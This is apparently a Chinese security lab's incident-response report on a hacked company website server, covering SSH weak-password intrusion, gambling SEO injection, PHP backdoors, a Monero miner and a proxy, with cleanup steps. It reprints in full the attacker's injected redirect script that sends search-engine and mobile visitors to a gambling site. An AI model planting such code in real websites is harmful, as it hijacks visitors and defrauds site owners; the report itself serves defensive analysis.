记一次服务器入侵事件的应急响应
qiyuwang 2024-11-19 09:33 8 浏览 0 评论
0x01 事件背景
8月某日,客户官网被黑,需在特定时间内完成整改。为避免客户业务受到影响,实验室相关人员第一时间展开本次攻击事件的应急处理。
0x02 事件分析
网站源码被篡改,攻击者一定获取到了权限,那么接下来的思路就是推测攻击者入侵手段,找到业务脆弱点,对服务器进行全方位排查,找到攻击者留下来的痕迹并进行分析处理。
2.1 信息收集
与客户简单沟通后,得知如下基本信息:
- 官网服务器为租赁的阿里云虚拟专用服务器
- 虚拟专用服务器上部署的官网后台使用了DedeCMS织梦系统
- 虚拟专用服务器安装了宝塔面板服务器运维系统
- 虚拟专用服务器安装的宝塔面板的密码已被篡改
2.2 攻击入口判断
服务器开放了SSH、宝塔、DedeCMS等3个服务,那么接下来我们从服务器开放的服务来推测可能的攻击入口。
玩过宝塔的朋友都知道,宝塔后台路径未知的情况下,通过宝塔后台GetShell基本上是不可能的。此外,客户设置的BT面板的用户名也有些复杂,所以推断攻击者从宝塔下手的可能性很小(这里埋个坑,前面提到客户宝塔后台密码被修改的情况,后面会说到原因)。
客户官网使用的DedeCMS版本为 v5.7 sp2,尝试所有公开漏洞均未成功。并且,DedeCMS的后台密码没有规律,所以推测从DedeCMS入侵的可能性也不是很大。
客户给出了服务器的账号密码,我们的第一反应是入侵从SSH弱口令开始的。因为我的爆破字典里包含了服务器的密码(手动笑哭),但这显然还不能直接让客户信服。
综上,高度怀疑服务器是被爆破SSH弱口令后导致了后续的入侵行为。
2.3 应急响应
在判断攻击入口后,我们登录客户的服务器,仔细抡了一遍,只能说服务器上的东西有点多。。。
2.3.1 BC黑页&PHP后门
首先访问客户首页,发现官网页面表面没有任何异常,也并未被重定向到BC网站。但是实际上网页Meta信息被篡改,且会异步请求BC网站和百度统计的若干接口。
推测攻击者的目的应为BC网站SEO优化,提高网站的SEO排名。
定位到服务器上的DedeCMS网站源码,发现源码在7月17日被修改植入了恶意代码。
网站源码被插入2个新的meta元素,以及一段JavaScript代码。下图为新增的meta元素,解码后发现是菠菜搜索关键词。
新插入的JavaScript代码如下图所示。解码后发现是一段引用外部js的代码。
恶意js文件的内容为:
此文件的作用就是插入https://sjbgw2022.com/tb.js的恶意文件以及对恶意SEO优化。
继续查看tb.js这个文件内容:
//这里省略一大段代码,因为代码内容与ly.js内容一致都是对恶意SEO的优化
//上面的代码与之前一样作用就是推送自动收录。
//JS正则表达式判断来路,如果是下列搜索引擎则指定跳转网址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/";//满足就跳转至菠菜页面。
}
//更详细的检测,判断是否包含搜索引擎字段,是则跳转至菠菜页面。
var sp_regexps =
/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
sp_whereis = top.document.referrer;
} catch (e) {}
try {
sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {
sp_domains = top.document.domain;
} catch (e) {}
try {
sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {
window.location.href = 'https://tb04.cc';
parent.window.opener.location = 'https://tb04.cc';
}
//判断是否是移动端,满足也跳转至菠菜页面。
function browserRedirect() {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';
var bIsMidp = sUserAgent.match(/midp/i) == 'midp';
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';
var bIsAndroid = sUserAgent.match(/android/i) == 'android';
var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';
var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {
} else {
window.location.href = 'https://tb04.cc';
}
}
browserRedirect();
发现这个文件的作用是恶意SEO优化,判断访问网站的来路,如果是从搜索引擎过来的就会跳转至菠菜页面,如果是直接访问官网则不会有变化。菠菜页面截图如下所示:
此外,在DedeCMS源码目录发现了很多PHP后门。
2.3.2 宝塔沦陷
接下来我们进行了日志排查,发现系统日志都已经被清理。
前面说到宝塔密码已被修改,那么为了登入宝塔,我们直接修改宝塔密码。在服务器上输入bt命令进行修改。
登入宝塔后台后,我们发现最后一次登录时间为7月16日,攻击者上传了一个名为zxc.php的木马文件。
网站日志未被删除,日志显示攻击者在7月17日通过zxc.php上传大量后门文件,下图为日志访问记录截图。
下图为一个PHP大马的截图。
综上所述,推断攻击者是菠菜SEO黑产组织,攻击手法为利用SSH弱口令远程登录服务器,修改宝塔后台密码后上传木马,进而通过代理机器继续上传其它木马文件。这是2.2节中所述的宝塔密码被篡改的原因。
2.3.3 门罗币挖矿木马
服务器上的问题还不仅仅是被挂黑页这么简单。服务器进程排查过程中发现,某进程CPU占用率特别高,不出意外就是挖矿程序了。
跟踪定位文件位置为/root/.warmup/。
发现挖矿配置文件/root/.warmup/config.json。
从网络通联信息发现矿池地址为5.133.65.53至5.133.65.56的IP段。威胁情报表明这是一个门罗币矿池。
杀死挖矿进程后程序自启动,删除挖矿文件后发现过一段时间文件会被重新下载并运行。这说明存在挖矿守护进程或定时任务。经分析,发现一个5月7日就创建的定时挖矿任务。
somescript文件内容为创建一个挖矿自启动服务warmup,保证进程或文件被删除后能重新加载挖矿程序。
2.3.4 xray代理
Xray是V2ray的一个分支(Fork)。Xray项目基于V2ray而来,其支持并且兼容V2ray的配置,其官方网站为(https://xtls.github.io/Xray-docs-next/),我们在进程排查中发现有Xray程序正在运行。
Xray最后一次运行时间为8月17日。
2.3.5 SSH后门
最后,除了后门、定时任务外,继续查看服务器上是否有攻击者留下的手段。我们发现服务器在5月9日被写入SSH公钥,经与客户确认不是客户所为。
0x03 应急处理
客户有业务数据备份,那么处理和加固就简单多了。我们对服务器进行了如下操作:
- 重置系统服务器
- 修改服务器、系统后台的口令,加强口令复杂度,避免出现连续性口令
- 自定义日志目录,避免日志被删除
- 网站目录设置除root外所有用户禁止写入
- 上传目录做权限设置
0x04 事件还原与总结
我们推测攻击者不止一个,并且都是通过SSH弱口令入侵服务器。事件时间线如下图所示:
第一波攻击者可能是挖矿组织,在5月7日大概率利用SSH弱口令进入服务器上传挖矿程序somescript,且做了对应的维持手段。
第二波攻击者可能是黑产组织,攻击时间为7月16日至7月17日,其操作是对网站做黑帽SEO,更改宝塔后台并上传大量后门。
第三波攻击者应该只是想控制一批跳板机,在8月17日上传了代理程序,目前在服务器上出现的恶意事件最后截止也是到8月17日。
相关推荐
- 在Word中分栏设置页码一页两个页码的技巧!
-
施老师:在正常情况下,Word文档中一页只会出现一个页码。但在某种情况下,比如说:用了分栏后,我们希望一页中出现两个页码,那应该如何实现呢?今天,就由宁双学好网施老师来为大家讲一下,利用域来实现一页两...
- 如何在关键时刻向上自荐(如何在关键时刻做出正确选择)
-
抓住机会,挺身而出有种时刻叫“关键时刻”,关键时刻,作为一个认为自己有能力的、训练有素的人,应该考虑挺身而出,甚至应该不考虑就挺身而出。...
- WPS Word:跨页的文档表格,快速调整为一页。#Excel
-
如何快速将跨页的文档表格调整为一页?需要根据两种情况分别处理。如果表格所有行的行高相同,调整为一页的方法有两种。第一种方法是将光标移动到表格内,然后将鼠标移动到表格右下角的方框处,按住鼠标左键向上拖动...
- word文档插入下一页分节符(word下一页分页符)
-
在word文档中,对文档页面进行分页是特别常见的操作,其中的下一页分节符也是用得比较多的,但是一些人不太清楚在哪里设置,也不知道它具体能实现的功能是什么。接下来看看如何在word文档中插入下一页分节符...
- word文档如何设置某一页纸张的方向
-
word文档页面方向有横向和纵向,纵向是默认的纸张方向,有时我们需要将页面设置为横向,或只设置其中某一页方向,应该怎么操作呢?一起来看看下面的详细介绍第一步:...
- word怎么单独设置一页为横向(word2019怎样设置单独一页为横向)
-
word里面其中一页可以改为横向的吗?经过实际操作发现是完全可以的。...
- Word如何设置分栏,如何一页内容同时显示一栏和两栏
-
我们使用Word文档,有时需要用到两栏的排版,甚至一页内容同时包含一栏和两栏的排版,这种格式怎么设置呢?具体步骤如下:首先是两栏排版的设置,直接点击Word文件上方工具栏【布局】,选择【分栏】下面的【...
- Word怎么分页?这三个方法可以帮到你
-
我们不仅可以利用Word编辑文档,还可以编辑文集呢。但是有时候会出现两个部分的文章长短不一,我们需要对文档进行分页处理。这样可以方便我们对文档进行其他操作。那么Word怎么分页呢?大家可以采用下面这...
- Word内容稍超一页,如何优化至单页打印?
-
如何将两页纸的内容,缩到一页打印呢?有时候一页纸多一点内容,我们完全可以缩一下,放到一页来打印。...
- [word] word 表格如何跨行显示表头、标题
-
word表格如何跨行显示表头、标题在Word中的表格如果过长的话,会跨行显示在另一页,如果想要在其它页面上也显示表头,更直观的查看数据。难道要一个个复制表头吗?当然不是,教你简单的方法操作设置Wo...
- Word表格跨页如何续上表?(word如何让表格跨页不断掉)
-
长文档的表格跨页时,你会发现页末空白太多了,这时要怎么调整?选中整张表格,右击【表格属性】,点击【行】选项,之后勾选【允许跨页断行】,点击确定即可解决空白问题。...
- Word怎么连续自动生成页码,操作步骤来了!
-
Word怎么连续自动生成页码,操作步骤来了!...
- word文档怎么把两页合并成一页内容?教你4种方法
-
word怎么把两页合并成一页?word怎么把两页合并成一页?用四种方法演示一下。·方法一:把这一个文档合并成一页,按ctrl加a全选文档,然后右键点击段落,弹出的界面行距改成固定值,磅值可以改小一点,...
- 如何将Word中的一页的纸张方向设置为横向?这里提供详细步骤
-
默认情况下,MicrosoftWord将页面定向为纵向视图。虽然这在大多数情况下都很好,但你可能拥有在横向视图中看起来更好的页面或页面组。以下是实现这一目标的两种方法。无论使用哪种方法,请注意,如果...
- Word横竖混排你会玩吗?(word横排竖排混合)
-
我们在用Word排版的时候,一般都是竖版格式,但偶尔会需要到一些特殊的版式要求,比如文档中插入的一个表格,横向的内容比较多,这时就需要用到横版,否则表格显示不全。这种横竖版混排的要求,在Word20...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)